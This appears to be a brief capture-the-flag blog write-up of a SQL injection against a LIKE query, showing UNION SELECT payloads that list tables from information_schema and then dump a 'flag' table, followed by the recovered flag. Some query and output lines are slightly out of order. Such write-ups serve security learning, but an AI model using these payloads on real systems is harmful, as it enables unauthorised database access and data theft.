select * from X where Y like 'input%'so we first used an input like this to gather the table names:

asdf' union select table_name, 2 from information_schema.tables where '1'='1' or 'a'='which end up with a query as:

select * from X where Y like 'asdf' union select table_name, 2 from information_schema.tables where '1'='1' or 'a'='%'and what we get was:

flag 2so we pulled from the table named flag like this:

news 2

asdf' union select *, 2 from flag where '1'='1' or 'a'='and voila:

select * from X where Y like 'asdf' union select *, 2 from flag where '1'='1' or 'a'=' %'

Is@1dTh@tWAFisUs3l3ss4us

## No comments:

## Post a Comment